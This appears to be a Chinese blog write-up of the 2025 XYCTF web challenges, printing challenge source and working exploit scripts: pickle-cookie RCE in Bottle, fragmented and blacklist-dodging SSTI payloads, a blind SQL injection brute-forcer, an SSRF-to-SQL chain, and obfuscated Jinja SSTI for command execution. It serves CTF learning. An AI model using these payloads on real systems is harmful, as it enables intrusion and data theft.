2025XYCTF
本文最后更新于283 天前,其中的信息可能已经过时,如有错误请发送邮件到270371528@qq.com

2025XYCTF

拖了好久,复现一下吧

web

Signin

源码

# -*- encoding: utf-8 -*-
'''
@File    :   main.py
@Time    :   2025/03/28 22:20:49
@Author  :   LamentXU 
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
    secret = f.read()

app = Bottle()
@route('/')
def index():
    return '''HI'''
@route('/download')
def download():
    name = request.query.filename
    if '../../' in name or name.startswith('/') or name.startswith('../') or '\' in name:
        response.status = 403
        return 'Forbidden'
    with open(name, 'rb') as f:
        data = f.read()
    return data

@route('/secret')
def secret_page():
    try:
        session = request.get_cookie("name", secret=secret)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=secret)
            return 'Forbidden!'
        if session["name"] == "admin":
            return 'The secret has been deleted!'
    except:
        return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

bottle的get_cookie是有pickle反序列化的

    def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
        """ Return the content of a cookie. To read a `Signed Cookie`, the
            `secret` must match the one used to create the cookie (see
            :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
            cookie or wrong signature), return a default value. """
        value = self.cookies.get(key)
        if secret:
            # See BaseResponse.set_cookie for details on signed cookies.
            if value and value.startswith('!') and '?' in value:
                sig, msg = map(tob, value[1:].split('?', 1))
                hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
                if _lscmp(sig, base64.b64encode(hash)):
                    dst = pickle.loads(base64.b64decode(msg))
                    if dst and dst[0] == key:
                        return dst[1]
            return default
        return value or default

所以我们目录遍历拿到密钥后,加密session后发送即可。

import requests
from bottle import cookie_encode

secret="Hell0_H@cker_Y0u_A3r_Sm@r7"
class Exploit:
    def __reduce__(self):
        return (eval, ("""__import__('os').system('cp /f* ./flag.txt')""",))

pick = cookie_encode(
        {"name": Exploit()},
        secret
    )
#print(pick)

requests.get('http://gz.imxbt.cn:20415/secret', cookies={'name': pick.decode()})

ez_puzzle

打开开发者模式。搜索时间发现了endtime和starttime。

这个计算时间应该是endtime-starttime是否<2。

前端把starttime时间调整到很大。这样一键为负数就<2通过了

image-20250410153523800

然后完成拼图即可

image-20250410154025745

出题人已疯

给了源码

# -*- encoding: utf-8 -*-
'''
@File    :   app.py
@Time    :   2025/03/29 15:52:17
@Author  :   LamentXU 
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
    return 'Hello, World!'
@bottle.route('/attack')
def attack():
    payload = bottle.request.query.get('payload')
    if payload and len(payload) < 25 and 'open' not in payload and '\' not in payload:
        return bottle.template('hello '+payload)
    else:
        bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
    bottle.run(host='0.0.0.0', port=5000)

bottle框架的ssti,不仅可以用{{}}<%%>也可以,%也是可以的。但是如果用%的话,要加一个n才行。具体可见https://www.osgeo.cn/bottle/stpl.html

本地测试一下,bottle框架可以直接import os模块,也可以用于字符串动态导入__import__('os')

image-20250413125811336

对题目来说是无回显的。所以我们可以将flag写入文件。

给上出题人wp

import requests

# 目标URL,这是一个存在漏洞的Web应用接口
url = 'http://gz.imxbt.cn:20055/attack'

# 构造恶意payload,目的是执行系统命令:
# __import__('os').system('cat /f*>123')
# 这段代码会导入os模块,然后执行系统命令,将/f*开头的文件内容输出到123文件中
payload = "__import__('os').system('cat /f*>123')"

# 将payload按每3个字符分割成一个列表,用于分片传输绕过可能的防护机制
# 例如:"__import__('os')"会被分割为['__i','mpo','rt_',...]
p = [payload[i:i + 3] for i in range(0, len(payload), 3)]

# 初始化标志位,用于处理第一段payload的特殊情况
flag = True

# 遍历分割后的payload片段
for i in p:
    if flag:
        # 如果是第一段payload,初始化os.a变量
        # 请求参数格式:n%import os;os.a="payload_part"
        tmp = f'n%import os;os.a="{i}"'
        flag = False  # 将标志位设为False,后续片段走else分支
    else:
        # 后续payload片段,追加到os.a变量
        # 请求参数格式:n%import os;os.a+="payload_part"
        tmp = f'n%import os;os.a+="{i}"'

    # 发送GET请求,将构造好的payload片段作为参数传递
    r = requests.get(url, params={"payload": tmp})

# 发送最终请求,执行拼接完成的payload
# 这里使用eval()函数执行os.a中存储的完整payload
r = requests.get(url, params={"payload": "n%import os;eval(os.a)"})

# 发送请求读取命令执行结果(123文件内容)
# 使用include函数包含生成的123文件
r = requests.get(url, params={"payload": "n%include('123')"}).text

# 打印命令执行结果
print(r)

出题人又疯

参考了https://xz.aliyun.com/news/17718

源码

# -*- encoding: utf-8 -*-
'''
@File    :   app.py
@Time    :   2025/03/29 15:52:17
@Author  :   LamentXU 
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
    return 'Hello, World!'
blacklist = [
    'o', '\', 'r', 'n', 'os', 'import', 'eval', 'exec', 'system', ' ', ';' 
]
@bottle.route('/attack')
def attack():
    payload = bottle.request.query.get('payload')
    if payload and len(payload) < 25 and all(c not in payload for c in blacklist):
        print(payload)
        return bottle.template('hello '+payload)
    else:
        bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
    bottle.run(host='0.0.0.0', port=5000)

加了黑名单。

看WP是斜体url编码绕过,本地调试一下

目前发现的POC只能替换俩字符,分别是oa,在bottle的SSTI里,他们可以被直接替换成ª (U+00AA),º (U+00BA)进而绕过各种waf。

ª的url编码是%C2%AA

º的url编码是%C2%BA

但是传参时都要去掉%C2。不然会解析错误

image-20250413185516751

看到本地解析是执行成功了。

payload:/attack?payload={{%BApen(%27/flag%27).read()}}

ezsql(手动滑稽)

  • %09 → ASCII 码 0x09(即 t,水平制表符)
  • %20 → ASCII 码 0x20(空格)
  • %0A → ASCII 码 0x0A(换行符 n

啊我刷的最多的就是sql注入的题。这题没写出来我真的太蠢了。看了wp发现原来这么简单

进入页面试一下注入点是username,发现过滤了空格和逗号(,)。上面三个试一下,最后制表符绕过即可

username=1'%09or%091=1#&password=123

image-20250413201328708

来到第二层,需要密钥。这个密钥估计就需要到第一层用sql报错注入来爆出来了

import requests
import time

url = "http://gz.imxbt.cn:20145/login.php"

# 字符集
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}"

res=""

for pos in range(1,30):
    for char in chars:
        #爆库
        #sql=f"username=1'%09or%09substring(database()%09from%09{pos}%09for%091)='{char}'%23&password=123"
        #报表
        #sql=f"username=1'%09or%09substring((select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database())%09from%09{pos}%09for%091)='{char}'%23&password=123"
        #爆字段
        #sql=f"username=1'%09or%09substring((select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='double_check')%09from%09{pos}%09for%091)='{char}'%23&password=123"
        #爆数据
        sql=f"username=1'%09or%09substring((select%09group_concat(secret)%09from%09double_check)%09from%09{pos}%09for%091)='{char}'%23&password=123"

        request1=requests.post(url=url,data=sql,headers={'Content-Type': 'application/x-www-form-urlencoded'})#必须要带上headers
        if "系统恶意登录尝试" in request1.text:
            res+=char
            print(res)
            break
    else:
        print('finish:'+res)
        exit()

爆出密钥dtfrtkcc0czkoua9s

后面命令执行无回显,过滤了空格,我们写入文件即可

image-20250413212241860

然后访问123.txt即可

Fate

这题虽然套了,但是我觉得出的特别好。ssrf+sql注入

源码

#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
    if len(binary_string) % 8 != 0:
        raise ValueError("Binary string length must be a multiple of 8")
    binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

    return string_output

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
    url = flask.request.args.get('url')
    if not url:
        return flask.abort(400, 'No URL provided')

    target_url = "http://lamentxu.top" + url
    for i in blacklist:
        if i in url:
            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
    if "." in url:
        return flask.abort(403, 'No ssrf allowed')
    response = requests.get(target_url)

    return flask.Response(response.content, response.status_code)
def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
        found = cur.fetchone()
    return None if found is None else found[0]

@app.route('/')
def index():
    print(flask.request.remote_addr)
    return flask.render_template("index.html")

@app.route('/1337', methods=['GET'])
def api_search():
    if flask.request.remote_addr == '127.0.0.1':
        code = flask.request.args.get('0')
        if code == 'abcdefghi':
            req = flask.request.args.get('1')
            try:
                req = binary_to_string(req)
                print(req)
                req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
            except:
                flask.abort(400, "Invalid JSON")
            if 'name' not in req:
                flask.abort(400, "Empty Person's name")

            name = req['name']
            if len(name) > 6:
                flask.abort(400, "Too long")
            if ''' in name:
                flask.abort(400, "NO '")
            if ')' in name:
                flask.abort(400, "NO )")
            """
            Some waf hidden here ;)
            """

            fate = db_search(name)
            if fate is None:
                flask.abort(404, "No such Person")

            return {'Fate': fate}
        else:
            flask.abort(400, "Hello local, and hello hacker")
    else:
        flask.abort(403, "Only local access allowed")

if __name__ == '__main__':
    app.run(debug=True)

可以看到/1337路由调用了db_search函数,这里存在sql注入。

但是/1337路由需要本地127.0.0.1才能访问。所以我们需要通过/proxy路由打ssrf。

/proxy路由传参会进行拼接:target_url = "http://lamentxu.top" + url。

我们用@来绕过,然后ip地址可以转10进制来绕过点号。

/1337接受两个参数0和1,要求传入0的值为abcdefghi,我们进行两次url编码来绕过黑名单。

因为对name长度有限制(<6),这里使用python格式化字符串漏洞。(当我们使用f-string直接传入非字符串参数时,就会被强转为字符串)

这里过滤了list类型,我们用字典类型来通过waf(len为1,只有一个键值对)

image-20250413224902368

我们给1传入数据(json格式):

{"name":{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}}

拼接后为

SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --":1}')))))))

然后转成10进制。这样就可以绕过了。

最后payload为

?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=011110110010001001101110011000010110110101100101001000100011101001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000101010101001110010010010100111101001110001000000101001101000101010011000100010101000011010101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001100010111110101111101

注意这里&也要url编码,不然可能会被解析为/proxy路由的第二个参数。

image-20250413225503101

Now you see me 1

这里先总结一下ssti的传参绕过姿势

request              #request.__init__.__globals__['__builtins__']
request.args.x1      #get传参
request.values.x1    #所有参数
request.cookies      #cookies参数
request.headers      #请求头参数
request.form.x1      #post传参    (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data         #post传参    (Content-Type:a/b)
request.json         #post传json  (Content-Type: application/json)
request.mimetype     #获取Content-Type的内容
request.authorization.type和request.authorization.token   #获取Authorization的内容
request.origin       #获取Origin的内容
request.referrer     #获取Referrer的内容

下载源码,base64解密一下

# -*- encoding: utf-8 -*-
'''
@File    :   app.py
@Time    :   2024/12/27 18:27:15
@Author  :   LamentXU 

运行,然后你会发现启动了一个flask服务。这是怎么做到的呢?
注:本题为彻底的白盒题,服务端代码与附件中的代码一模一样。不用怀疑附件的真实性。
'''
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File    :   src.py
@Time    :   2025/03/29 01:10:37
@Author  :   LamentXU 
'''
import flask
import sys
enable_hook =  False
counter = 0
def audit_checker(event,args):
    global counter
    if enable_hook:
        if event in ["exec", "compile"]:
            counter += 1
            if counter > 4:
                raise RuntimeError(event)

lock_within = [
    "debug", "form", "args", "values",
    "headers", "json", "stream", "environ",
    "files", "method", "cookies", "application",
    'data', 'url' ,''', '"',
    "getattr", "_", "{{", "}}",
    "[", "]", "\", "/","self",
    "lipsum", "cycler", "joiner", "namespace",
    "init", "dir", "join", "decode",
    "batch", "first", "last" ,
    " ","dict","list","g.",
    "os", "subprocess",
    "g|a", "GLOBALS", "lower", "upper",
    "BUILTINS", "select", "WHOAMI", "path",
    "os", "popen", "cat", "nl", "app", "setattr", "translate",
    "sort", "base64", "encode", "\u", "pop", "referer",
    "The closer you see, the lesser you find."]
        # I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
    return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
    global enable_hook, counter
    name = flask.request.args.get('My_ins1de_w0r1d')
    if name:
        try:
            if name.startswith("Follow-your-heart-"):
                for i in lock_within:
                    if i in name:
                        return 'NOPE.'
                enable_hook = True
                a = flask.render_template_string('{#'+f'{name}'+'#}')
                enable_hook = False
                counter = 0
                return a
            else:
                return 'My inside world is always hidden.'
        except RuntimeError as e:
            counter = 0
            return 'NO.'
        except Exception as e:
            return 'Error'
    else:
        return 'Welcome to Hidden_route!'

if __name__ == '__main__':
    import os
    try:
        import _posixsubprocess
        del _posixsubprocess.fork_exec
    except:
        pass
    import subprocess
    del os.popen
    del os.system
    del subprocess.Popen
    del subprocess.call
    del subprocess.run
    del subprocess.check_output
    del subprocess.getoutput
    del subprocess.check_call
    del subprocess.getstatusoutput
    del subprocess.PIPE
    del subprocess.STDOUT
    del subprocess.CalledProcessError
    del subprocess.TimeoutExpired
    del subprocess.SubprocessError
    sys.addaudithook(audit_checker)
    app.run(debug=False, host='0.0.0.0', port=5000)

考点还是ssti,过滤有点恐怖。这一看就是我高攀不起的题目,跟着wp复现一下吧

贴上出题人脚本

import re
payload = []
def generate_rce_command(cmd):
    global payload
    payloadstr = "{%set%0asub=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('subprocess')%}{%set%0aso=request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(sub))%}{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('importlib')|attr('reload')(so))%}{%print(so|attr('popen')('" + cmd + "')|attr('read')())%}"

    required_encoding = re.findall(''([a-z0-9_ /.]+)'', payloadstr)
    # print(required_encoding)

    offset_a = 16
    offset_0 = 6

    encoded_payloads = {}

    arg_count = 0
    for i in required_encoding:
        print(i)
        if i not in encoded_payloads:
            p = []
            for j in i:
                if j == '_':
                    p.append('k.2')
                elif j == ' ':
                    p.append('k.3')
                elif j == '.':
                    p.append('k.4')
                elif j == '-':
                    p.append('k.5')
                elif j.isnumeric():
                    a = str(ord(j)-ord('0')+offset_0)
                    p.append(f'k.{a}')
                elif j == '/':
                    p.append('k.68')
                else:
                    a = str(ord(j)-ord('a')+offset_a)
                    p.append(f'k.{a}')
            arg_name = f'a{arg_count}'
            encoded_arg = '{%' + '%0a'.join(['set', arg_name , '=', '~'.join(p)]) + '%}'
            encoded_payloads[i] = (arg_name, encoded_arg)
            arg_count+=1
            payload.append(encoded_arg)
    # print(encoded_payloads)
    fully_encoded_payload = payloadstr
    for i in encoded_payloads.keys():
        if i in fully_encoded_payload:
            fully_encoded_payload = fully_encoded_payload.replace("'"+ i +"'", encoded_payloads[i][0])
    # print(fully_encoded_payload)
    payload.append(fully_encoded_payload)
command = "cp /flag_h3r3 static/flag_h3r3"#先mkdir static
payload.append(r'{%for%0ai%0ain%0arequest.endpoint|slice(1)%}')
word_data = ''
endpoint = 'r3al_ins1de_th0ught'
for i in 'data':
    word_data += 'i.' + str(endpoint.find(i)) + '~'
word_data = word_data[:-1] # delete the last '~'
# Now we have "data"
print("data: "+word_data)
payload.append(r'{%set%0adat='+word_data+'%}')
payload.append(r'{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}')
generate_rce_command(command)
# payload.append(r'{%print(j)%}')
# Here we use the "data" to construct the payload
print('request body: _ .-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/')
# use chr() to convert the number to character
# hiahiahia~ Now we get all of the charset, SSTI go go go!

payload.append(r'{%endfor%}')
payload.append(r'{%endfor%}')
output = ''.join(payload)

print(r"Follow-your-heart-%23}"+output)

将flag下载下来后010查看即可。

还有其他做法。我觉得这篇文章解法比出题人的更简单易懂。但是这题的脚本跑起来不成功。用bp发包

payload:

/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%print(()|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(2)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(1)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(4)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(20)~(request.mimetype)|attr(request.origin)(1)~(request.mimetype)|attr(request.origin)(2)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(4)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))()|attr(request.origin)(118)|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(8)~(request.mimetype)|attr(request.origin)(13)~(request.mimetype)|attr(request.origin)(8)~(request.mimetype)|attr(request.origin)(19)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))|attr((request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(6)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(14)~(request.mimetype)|attr(request.origin)(1)~(request.mimetype)|attr(request.origin)(0)~(request.mimetype)|attr(request.origin)(11)~(request.mimetype)|attr(request.origin)(18)~(request.mimetype)|attr(request.origin)(26)~(request.mimetype)|attr(request.origin)(26))|attr(request.origin)(request.authorization.type)|attr(request.origin)(request.authorization.token)(request.referrer))%}

image-20250415003718173

访问url/static/flag即可下载。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇